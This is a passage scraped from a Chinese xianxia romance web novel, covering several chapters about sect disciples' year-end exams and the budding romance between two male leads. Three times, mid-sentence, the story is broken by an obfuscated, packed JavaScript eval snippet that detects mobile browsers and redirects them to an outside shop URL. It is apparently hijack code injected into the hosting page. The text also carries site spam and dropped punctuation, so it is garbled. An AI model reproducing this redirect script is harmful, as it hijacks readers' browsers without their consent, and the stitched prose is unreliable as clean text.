宋玄机颔首道:“去年,时雨带了一些来太华宗。 “这我知道,贺兰若芙更惊讶了,“但是那些不都被你们的师兄没收了吗?熹儿为这件事还差点哭了。 宋玄机:“嗯,但我确实吃到了。 贺兰若芙:“你怎么吃到的? 宋玄机略微一顿:“偷吃。 贺兰若芙第一反应是自己是不是听错了,堂堂无情道头名就算再怎么爱吃甜食,也不至于去偷吃被没收的东西吧? 她试探地问:“你为什么要偷吃? 宋玄机想了想,实话实说:“因为是时雨送的,我想吃到。 贺兰若芙一怔,还没来得及思考宋玄机的话意味着什么,贺兰熹就一阵风似的闯了进来:“宋浔——嗯,娘你也在啊。 贺兰若芙回过神,佯怒道:“你还说呢!你怎么能…… 话未说完,贺兰若芙便被儿子扶了起来。贺兰熹一边把她往外推,一边着急地说:“娘我待会再找你说话,我现在有事情要和宋浔一个人说! 贺兰若芙一头雾水地被请了出去。宋玄机问:“怎么了。 贺兰熹一把扑进宋玄机怀里,抬着头看他,眉眼盈盈的:“宋浔,是我先喜欢上你的!在这一点上,你输了! 宋玄机:“?我没有输。 “你有!贺兰熹笃定地说,“我刚刚才发现,我可能喜欢你很久了,只是我自己不知道而已。这种感觉好奇怪,你肯定不明白。 宋玄机眼睫一颤:“我明白。 “不不不,你不明白,我是说…… “我明白你说的那种感觉。宋玄机低头在他眉间印下一吻,“真的明白。 贺兰熹:“……哎? 从来不说废话的宋玄机居然一口气说了三个“明白? 贺兰熹灿烂一笑:“好,我相信你! 作者有话要说 搞了半天你们是双向暗恋而不自知诶~ 我回来更新啦,本章300红包作为这几天没更新的道歉=3= 你的朋友正在书荒,快去帮帮他吧 第 101 章 双修是为了变强,... 第101章双修是为了变强, 贺兰熹想尽可能多陪陪娘亲,直到深夜才和宋玄机一起回到了太华宗。 宋玄机的缩地成寸术带他来到了无情道院门口。双脚一落地,贺兰熹就嗅到了空气中暗流涌动的异样,神情即刻变得严肃。他牵起宋玄机的手,凌空跃起,站在高处俯瞰整座太华宗。 月光如洗,银辉洒落,两人的衣袍与月色同辉,被寒风吹得猎猎作响。 宵禁已经过去了一个时辰,太华宗除没什么人的无情道院和凡事都看得很开的逍遥道院以外的十道院竟然无一例外的灯火通明。 混天道院比往常安静了不少,合欢道院欢爱的气息格外浓郁,迷津渡隐隐传来阵阵刺耳的背诵声…… 种种异样在贺兰熹心中铛铛铛地敲响了警钟:让大多数太华宗弟子闻之色变的考核月,终于要来了。 每年的十一月中旬到十二月中旬,整整持续三十日。考核一共分为三个部分,分别是理论考核,实践考核,以及最后一场大型综合考核。 每种考核的成绩分别占总成绩的三分之一。由于贺兰熹最不擅长的《九州史》只有理论考核,以至于每次考完理论他的名次都不太乐观。 去年刚考完理论,他在全宗只排第五;考完实践,他的名次追到了第一;在最后的综合考核中,他才被宋玄机反超。 白观宁始终认为贺兰熹去年惜败的原因在于载星月略逊色于忘川三途。今年,贺兰熹载星月,北濯天权双剑在手,正是一雪前耻的大好时机! 得知贺兰熹休假归来,白观宁第一时间找到了他,语重心长道:“哥,你这次休假的时间实在太长了,你知道你落下了多少功课吗?” 贺兰熹郁闷:“我也不想,但我受伤了嘛。” 白观宁鼓励道:“万幸你现在回来也不算晚,你还有时间奋起直追。这段时日,合欢道院平均每人的学习时间有四个时辰。” 贺兰熹微讶:“多少?你说多少?!” 可恶,他就知道!当初藏玉仙君肯定就是照着自己道侣的样子挑选弟子的!别看合欢道院一个个风流倜傥纵情享乐,实则骨子里好强的要死,大家都被他们骗啦! 白观宁摆摆手:“四个时 辰不算多,我现在每日大约学习六个时辰。 贺兰熹愕然地后退一步:“多少?你说多少?!! 一天六个时辰……小白你是要成仙吗? “哥,你知道今年考核的第一名有多少奖励吗?白观宁两眼放光,“三瓶培元丹,一次重返阆风塔挑选武器的机会,以及……八千两白银。 贺兰熹震惊到口齿模糊:“夺少?你说夺少?!!! “是的,你没有听错。白观宁放轻嗓音,目光逐渐变得迷离:“八千两。 贺兰熹嘴唇微张地呆愣良久,倏地转向宋玄机,一脸严肃道:“宋浔,考核月我不能和你亲热了,我要学习! 宋玄机:“。 “你刚刚没听到吗?贺兰熹倒吸一口冷气,伸出拇指和食指比出一个“八:“八千两! 宋玄机:“我给你八千两。 “你给的和太华宗给的怎么能一样!贺兰熹势在必得地说,“去年是我不小心才略输你一筹。今年,你且看好了! 宋玄机:“哦。 宋玄机对考核并没有白观宁那么热衷——应该说,没有人对考核有白观宁那么热衷。其实,只要贺兰熹勾勾手指头,用用美人计,宋玄机自认自己不会把太多心思放在考核上。既然贺兰熹说了不亲热……那就认真学罢。 学习这种事情大多时候靠自己,偶尔也可借助外力。像他们几人,每个人擅长和不擅长的科目都不一样,凑在一起还能互相帮助。 临近年终考核,迷津渡不再上课,其内的讲堂可供弟子复习功课。白观宁凭一己之力杀出重围,为大家抢到了一间位置绝佳,偏僻安静的讲堂。 跟着白观宁学了两日后,贺兰熹开始怀疑自己是否做出了正确的选择。 每日睁眼就是学,从天亮学到天黑。其他人还能趁着吃饭的时候休息一下,他们这些辟谷了的连饭都不用吃,在迷津渡一坐便是一整天,除了学还是学。 贺兰熹实在受不了这拉磨驴一般的日子,规定自己每学一个时辰就休息一会儿。可每当他休息的时候,白观宁就坐在他身边奋笔疾书,搞得他只能十分焦虑地休息,休息了和没休息几乎没有区别。 这日,贺兰熹被《九州史》折磨了足足两个时辰,逐渐 生出了“八千两对贺兰家来说也不算多,这个第一我不要也罢的念头。他正苦苦挣扎着,一旁的白观宁竟然已经收拾好东西,准备回仙舍了。 面对贺兰熹质疑他被人夺舍了的目光,白观宁解释道:“实践考核和综合考核才是大头。我必须抓紧时间双修,尽快提升自己的修为。 贺兰熹压抑不住好奇心,悄声问道:“小白,你……你都找谁双修啊?这我可以问吗? “有什么不可以的,你是我哥。 贺兰熹一阵心梗:“前戏怎么会是无意义的呢?我不接受这种说法! 上次宋玄机仗着他反应很大又很湿就不做前戏,真的很过分啊! 白观宁言之凿凿:“贺兰道友,你要知道,双修是为了变强,不是为了爽。 贺兰熹两阵心梗:“这又是什么谬论。 说到这件事,贺兰熹忍不住瞄了眼宋玄机。宋玄机感觉到他的视线,从书本上抬眸,与他对视:“嗯? 贺兰熹高傲地偏过脸,冷笑一声:“呵。 不知道自己哪里惹到了贺兰熹的宋玄机:“? 贺兰熹这么一转头,刚好看到了长孙策辅导祝如霜《机关学》的一幕。 长孙经略书念得不怎样,手上的能力还是很不错的,至少辅导祝如霜的《机关学》绰绰有余。 此时此刻,长孙策和祝如霜坐在一起,两人前方的桌子上摆着一个机关雀的模型。 长孙策正胸有成竹地向祝如霜演示如何用最快的方法画出机关雀的内部横截面,忽然发现祝如霜坐的离自己老远,一扬下颔,道:“你坐那么远能看清楚吗? 祝如霜身体未动,点头避嫌:“能。 长孙策“啧了一下,抓住祝如霜坐的椅子,直接连椅带人把祝如霜拖到了自己身边: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273647|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “看好了,我只给你画一遍。 祝如霜面无表情地维持着原本的姿势,身上却明显僵硬了一些。他大概是认为复习比避嫌重要,犹豫片刻后还是默许了长孙策的行为。 贺兰熹心情复杂地摇了摇头:祝云,我感觉你有点危险了。 十一月中旬寒风料峭滴水成冰迷津渡下了一场大雪冷得宛若第二个无情道院。 讲堂变成了临时的考场。贺兰熹坐在靠窗的位置伴随着纷纷雪落指尖微颤地翻开《九州史》的试卷—— 第一题:述《江陵六策》于后世。 贺兰熹心里一个咯噔:不是《江陵六策》是哪六策来着? 贺兰熹余光瞥向坐在他右前方的白观宁只觉得白观宁的笔好像快得要冒火了。他欲哭无泪脑子里立马蹦出两个字:完蛋。 …… 理论考核持续了五日。考完理论弟子们还有五日的时间准备接下来的两大考核。 一般而言考完了就过去了不必再在已经考完的科目上分心。可也不知道是哪任院长吃饱了闲的没事干在迷津渡的中央设下了一块金榜实时放出前一百名弟子的排名他们想不分心都难。 考完理论考核的第三日迷津渡的金榜显现出一百个名字。贺兰熹不想自己的心情受到影响本来是不想去围观的无奈白观宁太过强硬愣是把他拉去了迷津渡:“你就算不自己看也会从别人口中得知排名那还不如现在直面真相!” 白观宁如此掷地有声贺兰熹拗他不过放下捂住眼睛的双手直……直面真相。 第一名:合欢道院白观宁 第二名:无情道院祝如霜 第三名:无情道院宋玄机 第四名:无情道院贺兰时雨 第五名:太善道院 第六名:律理道院陆执理 第三十八名:万兽道院萧问鹤 第四十九名:混天道院长孙经略 …… 看到自己的名字排在第四名贺兰熹非常不可思议。他的理论考核居然比去年还进步了一名宋玄机倒是和去年一模一样。 可他的《九州史》几乎交了半张白卷啊这都能排第四?那其他人也太……太不全面了吧! 同样进步的还有萧问鹤。贺兰熹只进步了一名萧问鹤则进步了几十名。 看到金榜的时候萧问鹤感动得红了眼眶。和天之骄子们成日混在一起压力很大动力更大这是他应得的。 “看到了吗?我进前五十了!”长孙策紧握双拳在人群中怒吼欢呼:“很好我发挥得很好!我对自己很满意——祝云!” 祝如霜:“。” 祝如霜没有理会某个聒噪的混天道转身恭喜暂列头名的白观宁:“观宁恭喜你很厉害。” 白观宁仰头望着金榜上自己金灿灿的名字眼神凝重满脸的不容乐观:“现在说恭喜太早。” 他深知接下来长达二十日的两大考核才是无情道三美真正的发力之时。 作者有话要说 双修是为了变强不是为了爽——By某合欢道弟子 剧情前的过渡章节希望你们看得不无聊嗷 本章200红包=3= 第 102 章 是谁说考核月不亲... 第102章是谁说考核月不亲. 对大部分弟子来说,理论考试的结束不过是另一个噩梦的开始。但对贺兰熹来说,只要考完了《九州史》,剩下的科目简直易如反掌。 贺兰熹认真复习了两日,怎么都找不到自己的弱点,复习到后面已经有些发困无聊了,忍不住开始在大家身边探头探脑。 他趴在宋玄机身后,下巴垫在宋玄机肩头,看着宋玄机把本该是无色无味的药剂配成了一团泥泞的黑土,气得在流苏上打了好几个结。 宋玄机顶着乱糟糟的金簪流苏,提醒贺兰熹:“是谁说考核月不亲热。” “是我说的没错。”贺兰熹不服,“但我给你的流苏打结算哪门子的亲热。” 宋玄机:“不算?” 贺兰熹:“当然不算。” 宋玄机揽过贺兰熹的腰,让他跌坐在自己腿上,接着面无表情地在他唇间亲了一口,问:“这样算么。” 贺兰熹害羞地捂住脸:“算算算!” 撩拨完宋玄机,贺兰熹第一个想到的是祝如霜,祝如霜应该很需要他的帮助。 《机关学》的大部分内容在实践考核上,祝如霜十分缺乏对空间的想象力,给他一张机关图纸让他照着图纸还原出机关的全貌属实是在为难人。 “时雨,你知道吗。”祝如霜望着散落一地的机关零件,如同看着一个个邪恶无解的暗器,眼神中充满了空洞的绝望:“我已经尽力了,但我真的想象不出来……哪怕现在有把刀架在我脖子上,我也想象不出来。” “唉,我可太知道那是一种什么样的感觉了。要是刀架在脖子上有用,我的《九州史》何至于此。”贺兰熹心疼地抱着祝如霜,摸摸头以示安慰:“实在不想学咱们就不学,谁还没一两个不太擅长的领域呢——我听绯月真君说,浣尘真君的《异兽学》就学得很不好,十几岁时经常把凶猛的妖兽幼崽错认成小灵兽,然后冷脸给它们喂奶盖被子什么的。” 祝如霜惊讶不已:“真的吗?” 众所周知,绯月真君的嘴里就没几句真话。贺兰熹无法保证这件事的真假,但还是信誓旦旦地说:“当然是真的,我贺兰时雨还能骗你不成?” 原来连沈院长也和他 们一样啊,祝如霜的心情顿时好了不少。 安慰完祝如霜,贺兰熹又去慰问白观宁和萧问鹤。 白观宁和萧问鹤组成了复习小组,贺兰熹找到他们的时候,白观宁正在萧问鹤身上试验自己定身术的效果。 贺兰熹百无聊赖地看了一会儿,在一旁打起了哈欠。白观宁问:“你不用去复习吗?” 贺兰熹:“我……” “等等,”白观宁想起去年贺兰熹在实践考核中取得的成绩,连忙改口:“你别去复习了,就在这里发呆吧!” 贺兰熹:“哦……” 转悠了半天,贺兰熹惊讶地发现,在其他人之中,像他一样轻松应对实践考核的竟然只有长孙策。 “复习?实践考核还需要复习?”长孙策大言不惭的模样极是欠揍,“不好意思,需要复习的是别人,不是我。” 贺兰熹很想对着那张英挺俊朗却自鸣得意还觊觎祝云的脸上来一拳,但不得不说,长孙策的确有自信的底气。 每一场实践考核结束,长孙策的排名都会上升不少。再看其他人的考核,或多或少均出现了一点意外。 比如《丹药学》的考核已经结束了,宋玄机还在思考配药的第一步该用什么火; 祝如霜对着机关图纸还原出来的机关雀飞是不可能飞起来的,但意外地很会钻地; 白观宁在考前准备得非常充分,在《阵法学》的考核中却因为太着急少插了一把剑,导致本该召唤出天雷的阵法里冒出了一颗海龟蛋。 至于海龟蛋是哪来的,那就要问隔壁演示召唤术失败的萧问鹤了。 最终,贺兰熹一路轻松过关,不出意外地赶上宋玄机,超过祝如霜,拉下白观宁,牢牢地占据着金榜头名的位置。 实践考核全部结束后,迷津渡的金榜排名如下: 第一名:无情道院,贺兰时雨 第二名:无情道院,宋玄机 第三名:合欢道院,白观宁 第四名:无情道院,祝如霜 第五名:太善道院,楚宥临 第九名:律理道院,陆执理 第十名:混天道院,长孙经略 第二十七名:万兽道院,萧问鹤 …… 白观宁对贺兰熹能暂居第一的结 果并不意外。他盯着宋玄机的名字喃喃道:“宋浔的《丹药学》都考成那样了他居然还能上升一名?不愧是去年全宗第一恐怖如斯。” “难道我就不恐怖吗?”长孙策指着自己名字前那个大大的“十”字道:“宋玄机只上升了区区一名我直接上升了三十九名!整整三十九名啊——祝云!” 白观宁连个正眼都没给目前的全宗第十轻哂一声转身投入进最后一场大考的准备之中。 综合考核是太华宗弟子公认的最难的一项十二位院长给大家出的难题尽归其中。 数百名弟子将同时进入一个由院长们精心设计的庞大幻境。在幻境里有灵植道院种出来的闻上一闻阳寿减半的花;也有经合欢道院调/教最能惑人心神的魅妖;还有无情道院投放在幻境最里层的某物——因为没人成功到达过幻境最里层所以谁都不知道那个“某物”究竟是什么。 由于考核难度太大太华宗的宗规允许弟子组队参加考核。每完成一个考题幻境会根据弟子在破题的过程中的贡献自动给与铜币的奖励。 铜币的分配原则由律理道院的院长司契真君亲自制定足以确保整场考核的公正廉明。 风险越大收获越大 成败在此一举。 翌日一早贺兰熹六人和其他弟子一样在迷津渡等待前往幻境的传送阵出现。离考核开始的时间越来越近众人有一搭没一搭地聊着天缓解紧张的情绪。 “我不明白了院长们就非得这么搞我们吗。”长孙策想到去年自己被一头妖兽踩死出局的惨状不禁抱怨道。虽然只是幻境但恐惧和痛感却真真切切存在:“他们能不能搞点简单点的考核啊。” 贺兰熹道:“你想多简单——我闭着眼睛你找个地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273648|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方躲起来我数到一百睁开眼去找你的那种吗?” 长孙策怒骂:“呔好毒的嘴你肯定是被宋浔亲多了。” 贺兰熹:“。” 宋玄机:“。” 贺兰熹和长孙策同为话多之人常有拌嘴之时。若是在以前贺兰熹少不得要回呛长孙策几句。可这次贺兰熹只是欲言又止地张了张嘴最后一个字都没说。 长孙策看着沉默 以对的贺兰熹不敢相信自己竟然骂赢了。更叫他难以置信的是宋玄机居然也没帮贺兰熹骂回来?有意思看来这两个无情道私下确实没少亲啊。 萧问鹤焦虑地为灵鹤梳着毛问其他人:“你们要组队吗?” 白观宁干脆地表示:“不了我要独享铜币。” 每道考题的铜币总数量固定越多的人参与每个人能分到的铜币就越少。 话虽如此仅凭个人能力能破解的考题到底有限。万一运气不好一进幻境就遇到了难以独自招架的困境那可就得不偿失了。 去年无情道三人均是独闯幻境虽然分别拿到了数量前三的铜币但在幻境中走得最远的却是太善道院一个众志成城的六人小队。 祝如霜建议:“还是两两组队比较好遇事能有个照应铜币也不会分得太散。” “哟这还暗示上了。”长孙策懒洋洋地搭上祝如霜的肩膀“知道了我和你一对便是。” 祝如霜冷漠地拿开长孙策的手:“走开。” “为什么?贺兰熹肯定要和宋浔一组我是你最好的选择。”长孙策威胁道“我奉劝你早点同意过了这村可没这店了啊。” 祝如霜低声道:“我既已知你的心意自然要避嫌。” 长孙策嗤道:“我快笑死了当初是谁说的‘清者自清’?你不是一个人要扛起无情道院的江山吗别人的喜欢又影响不了你你怕什么。” 祝如霜:“。” 贺兰熹心想长孙策今日莫不是吃了什么【会说话辣椒水】吧竟然能把三个无情道都说的哑口无言。 贺兰熹刚要帮腔传送阵就出现了。祝如霜一言不发地朝传送阵走去长孙策在他身后嚷嚷:“你不会真怕了吧?” 祝如霜步伐顿住凉凉道:“跟上。” 长孙策大获全胜地追了上去:“来了!” 贺兰熹目送组队成功的两人消失在传送阵中转向宋玄机不放心地说:“要不我去和祝云组队你和小白他们一组?” 宋玄机:“。” “就算要组队我也不和你们两个之中的任何一个一组。”白观宁嫌弃道“我可不想一共十个铜币你们拿九个我拿一个。” 宋玄机开口道:“贺兰时雨。” 贺兰熹眨眨眼:“嗯?” 宋玄机语气冰冷:“此次考核你若能离开我的视线一刻算我输。” 又出现了!宋玄机的大长句 贺兰熹心中暗暗发笑表面却装出一副“真拿你没办法”的样子:“好好好我陪你考我陪你考你不要冷冷地说话嘛。” 贺兰熹一边说着一边推着宋玄机的背走向传送阵。一道白光闪过两人最后的一场年终考核就此正式开始。 作者有话要说 第 103 章 亲一个亲一个 第103章亲一个亲一个 广袤无际的幻境中充斥着无数道大大小小,难度不一的考题。考题的难度越大,考生能获得的铜币自然也越多。 贺兰熹去年参加考核的时候,看什么都觉得新奇,路过考题势必要进去答一答,完成了不少奖励只有两三个铜币的考核。一番折腾下来,铜币没拿到太多,时间倒浪费了不少。 今年,他已不是当初懵懂无知的小师弟,身边还有一个宋玄机,五十个铜币以下的考核他看都懒得看一眼。 两人挑了一个方向一路深入,途中偶尔能遇见一批批组队考试的道友。幻境中的天幕和迷津渡的金榜一样,实时显现前一百弟子的排名。不一会儿,长孙策的排名就从全宗第十来到了全宗第九,动作还挺快。 路过一片田野时,贺兰熹瞧见三个灵植道院的弟子在田里忙活,一个个满头大汗,气喘吁吁。 田里整齐地种满了各类奇珍异草,它们的生长速度经过了特调,现实中三年才能长成的百岁兰在幻境中只需眨眼的功夫。 那三个灵植道院的弟子将田里的灵植种了拔,拔了种,还因为意见不合展开了激烈的争论。 “你在这里种火爆椒有什么用?它一旦爆炸,其他的灵植不也毁了吗!” “那至少能对妖兽造成重创!有舍方有得!” “不不不,当务之急是保证土壤的肥沃,这才是考核的根本!你们先听我指挥……” 贺兰熹好奇地开口:“道友们,你们在干嘛呢?” 三人齐齐朝贺兰熹看来,眼睛均是一亮:“你们来得正好,快帮我们看看这道题应该怎么解!” 从道友们口中得知,这是一道由灵植道院与万兽道院联合推出的考题,奖励铜币的数量为六十枚。考生需要在田中以灵植设阵,对抗即将来袭的妖兽,简单来说就是六个字:【灵植大战妖兽】。 在贺兰熹到来之前,三个灵植道院的弟子已经合作通过了考题的前五关。关数越多,妖兽越难对付。第五关的妖兽已让他们捉襟见肘,若不改变策略,第六关他们肯定会前功尽弃。 听完考核的规则,贺兰熹问三个道友:“你们不介意我们和你们分铜币吗?” 灵植道们 :“这哪能介意呢,把题做完才有铜币拿,否则就是竹篮打水一场空了。 “既然如此,贺兰熹撸起宽大的袖子,准备干活:“且让我看看你们都有什么灵植可以种。 宋玄机道:“何须如此麻烦。 “何意?在不熟的道友面前,贺兰熹竭力表现出和宋玄机没有奸情的样子:“宋道友有更好的法子吗? 宋玄机:“此题名为,战妖兽。 灵植道:“宋道友好像漏了三字,这是【灵植大战妖兽】。 宋玄机:“不重要。 贺兰熹:“宋道友该不会是想……? 一声低沉浑厚的鸣叫自天幕响起,巨大的翅膀遮天蔽日,圆睁的双眼散发出的锐利光芒穿透云霄而来。 灵植道甲:“……鹰?第五关的妖兽是一只神鹰! 灵植道乙:“怎么还整上天上飞的了!咱们现有的灵植也没防空的啊! 灵植道丙:“完犊子,六十铜币无了。 灵植道院三人的惊叫和惋惜淹没在一道剑光中。忘川三途遽然出鞘,宋玄机猝不及防地消失在众人眼前。仰天望去,只见神鹰的头顶多了一个洁白的身影,犹如玉树屹立于风中。 长剑挥下,神鹰惊怒振翅,庄严的长啸变得无比尖锐,深羽簌簌而落。 贺兰熹突然知道去年宋玄机是怎么靠综合考核超过他的了。 ——居然还能这么考?很好,他学会了! 一颗鹰头咕咚咕咚滚到目瞪口呆的灵植道三人组脚下,怒睁着眼睛,彻底不动了。 考核结束,灵植道院三人每人分到十枚铜币,其余的三十枚尽归宋玄机所有。 天幕上的金榜排名再次发生变化,暂时如下: 第一名:无情道院,宋玄机 第二名:无情道院,贺兰时雨 第三名:合欢道院,白观宁 第四名:无情道院,祝如霜 第五名:混天道院,长孙经略 …… 宋玄机收剑入鞘,对贺兰熹道:“走了,贺兰道友。 贺兰熹瘫着一张无情道的冷漠脸:“好的,宋道友。 贺兰熹注意到长孙策的排名涨得非常快,祝如霜的却没有变化,不禁有些纳闷。策云二 人明明是一起组队的,为何会出现这种情况? 半个时辰后,贺兰熹在一道参与人数众多的考题中找到了问题的答案。 竞技场——考生自愿上台,两两交手,获胜者能拿到败者目前所得的所有铜币。 如此简单粗暴的考题,一看就知是混天道院的杰作。竞技场上大多是酷爱打架的混天道院弟子,长孙策便是其中之一。 长孙策虽然只是无情道的“赘婿,实力却不容小觑,真枪实刀地打起来少说也是本届弟子中前五的水平。他和祝如霜进幻境没多久就找到了竞技场,之后再没下来过,一连大胜十场,铜币自然是蹭蹭蹭地上涨。 祝如霜似乎对这种获得铜币的方式兴趣不大,单纯地坐在场下观战,专注得连贺兰熹和宋玄机来了都没发现。 一个逍遥道弟子最先看到两人,大喊:“贺兰时雨和宋玄机来了!快撤! 话音一落,全场哗然。 竞技场上的弟子纷纷跑了下来,生怕这两个无情道一言不合地上场把他们好不容易赚来的铜币一招带走,偌大的竞技场上瞬间只剩下长孙策一人。 长孙策自知不是浔熹二人的对手,但他更不知道“临阵脱逃四字怎么写。 “来吧,长孙策居高临下,不卑不亢道:“刚好,我也想看看我现在能在你们手下支撑多久。 “经略兄好样的!一个混天道弟子看热闹不嫌弃事大,幸灾乐祸道:“你若考了倒数第一过年回家被打,哥几个去西洲给你说情! “滚滚滚,西洲不欢迎傻子。长孙策发出一声气势如虹的怒吼,浑身爆发出精纯强大的灵气:“贺兰熹,拔剑吧! 我拔你个头。 贺兰熹懒得理这人,朝众人微笑挥手:“道友们请继续,当我们没来过即可。 在众人或警惕或惊愕的目光中,全宗第一和第二就这么平静地退场了,留下长孙策拔剑四顾心茫然。 远离人群后,贺兰熹忽然想起一个问题:“宋浔,你去年是怎么出的幻境来着? 宋玄机顿了顿,道:“你先说。 贺兰熹一想起自己去年被踢出幻境的原因就生气:“还不是因为那只合欢道院的魅妖! 当时的他刚经历完一场和千年枯尸的鏖战, 拿到了五百个铜币,代价则是肩头一个中了尸毒的深入骨髓的伤口。 在尸毒的腐蚀下,他的伤口逐渐溃烂扩散,好在他及时找到了一处可以暂时抑制毒发的灵泉。 伤口又痛又难看,他脱下衣服,难过地泡着灵泉,痛得要命,仗着四周无人眼泪啪嗒啪嗒往下掉,一转身冷不丁瞧见岸上站着一个魅妖。 那魅妖好生心机,居然还幻化成宋玄机的模样,被他机智地一眼识破,他当即毫不犹豫地拔剑冲了过去。 贺兰熹:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273649|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原以为小小魅妖,不足为惧。不料那魅妖竟有几分本事,甚至还能幻化出你的忘川三途,我拼尽全力竟然只能和他不分上下,你敢信吗? 宋玄机:“…… 贺兰熹:“可惜,螳螂捕蝉黄雀在后。就在我和魅妖苦战之时,一块巨石从天而降,把我和他都砸死了。 宋玄机:“你为何断定他是魅妖。 贺兰熹:“因为如果是真的你,你看到我在哭,一定也会觉得我是魅妖所化,然后镇定地拔剑啊。你去年又不知道我爱哭。 宋玄机:“确实。 “等等,贺兰熹灵光一闪,隐约觉得哪里不太对:“难道……? 那只“魅妖的实力实在强得过分,装宋玄机还装得那么像,当时他没少抱怨绯月真君不把他们当人看,居然第一年就在幻境里放这种怪物。 现在回想起来,有没有一种可能…… 贺兰熹呼吸一窒:“那只‘魅妖’就是你?! 宋玄机点头:“嗯。 贺兰熹不能理解:“不对啊,你看到我哭不觉得我是魅妖吗? 宋玄机:“觉得。 贺兰熹:“既然如此,你为什么不出手? 宋玄机:“想多欣赏片刻再出手。 贺兰熹愣了愣,心口像被什么挠了一下,微微一颤。 宋玄机说他明白他去年的感受,宋玄机他……真的明白。 贺兰熹的嘴角一点一点地扬了起来,抓着宋玄机衣袖道:“所以,你那个时候是不是已经很喜欢我啦? “或许。宋玄机淡道,“但再如何喜欢你又有何用,你如今不但想和祝云组队,还唤我‘宋道友’。 “哇,宋道友又说大 长句啦。”贺兰熹笑着往宋玄机身上扑身后仿佛长出了毛茸茸的狐狸尾巴:“别生气嘛我给你亲一下好不好?来来来亲一个亲一个。” 宋玄机余光瞥见不远处朝他们走来的人影后退一步:“不亲。” “嗯嗯?你不喜欢做前戏就算了怎么现在连亲嘴都不肯给我亲了?”贺兰熹仰头看着宋玄机忿忿指责:“你不能这样啊宋玄机当心我告到律理道院。” 宋玄机单手轻轻掐住贺兰熹的脸颊把贺兰熹掐成了鸭子嘴:“告我什么。” 贺兰熹含含糊糊地说:“不做前戏和不亲嘴。” 宋玄机轻一挑眉:“我劝你别告。” 两人说话时不远处的身影已经来到了贺兰熹身后:“是尔等在呼唤吾院之名?” 贺兰熹猛然转身看到了一名身穿藏蓝色道袍的少年。 那少年手持厚典 小说更新,记住域名qiexs?(请来企鹅 小说 看最新章节 完整章节)头上束发的发簪像极了一杆银秤面容稍显青涩稚嫩神色却十分老成一脸的庄严肃穆。 此人正是律理道院本届弟子中的佼佼者目前金榜排名第九的陆执理。 太华宗同届的弟子即便平日不交往大多也互相识得姓名。像贺兰熹和宋玄机这样的天之骄子更是无人不知无人不晓。 陆执理对贺兰熹仰慕已久此刻见贺兰熹需要自己的帮助自是当仁不让:“我方才见二位争执不休想来定有矛盾需要我们律理道院出面调解。” 贺兰熹汗颜:“呃……” 陆执理正色道:“贺兰道友你对宋道友有何不满烦请大声地说出来。” 贺兰熹羞得恨不得遁地走人:“多谢道友好意但我真的说不出口。” 作者有话要说 来啦!宝子们七夕快乐本章200个红包=3= 第一个考核灵感来源:植物大战僵尸 第 104 章 双修前戏不可少,... 第104章双修前戏不可少, 不出意外,宋玄机不爱做前戏和一次不亲嘴的罪状都会被贺兰熹带进棺材里,连祝如霜都不会知道。 陆执理因不能为贺兰熹献上微薄之力而感到遗憾,诚恳请求贺兰熹与他建立传音网:“日后如有需要,贺兰道友大可随时联系我。 贺兰熹想着若能帮祝如霜拿到禁止长孙策靠近的禁令也是极好的,欣然同意:“好啊。 说全网首发无弹窗免费阅读qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 建立传音网只需须臾功夫,向来不急不缓的宋玄机却在此时失了耐心。贺兰熹刚把陆执理加入传音网,就听见宋玄机道:“走了。 这一幕让贺兰熹想起了自己小时候跟娘亲上街遇见熟人,娘亲同熟人闲聊,他在一旁不耐烦的情景。宋玄机看上去竟然比当初的他还不耐烦呢。 贺兰熹忍着笑:“那么,陆道友,我们就先…… “且慢。陆执理赶紧拦下二人,问:“二位道友有没有兴趣和我一起参加一个考核?不等贺兰熹婉拒,陆执理刷地举起两个巴掌:“考核通关后,所有考生一共能获得一千个铜币。 “抱歉,我和宋道友没有与第三人组队的打算……不对。贺兰熹蓦地睁大眼睛,“多少?你说多少?! 在一千个铜币的诱惑下,贺兰熹没出息地带着宋玄机一起屈服了。 通过陆执理的讲述,贺兰熹逐渐明白了这道题价值一千铜币的缘由。 自太华宗创立之初,这道题便存在于历届的综合考核之中,至今已有两千年的历史。 陆执理娓娓道来:“两千年来,通过这项考核的太华宗弟子数不胜数。 贺兰熹迷惑不已:“啊?你确定你想说的是‘数不胜数’,而不是‘寥寥无几’? 陆执理肯定点头:“我确定。只是,这些弟子大多是二十人以上的小队,即便他们齐心协力通过了考核,每人能分到的铜币也不过五十枚而已。唯一例外的只有一支小队——一支仅有四人的小队。 仅凭四人就能完成旁人需要二十人联手才能完成的考核?有点厉害的样子。 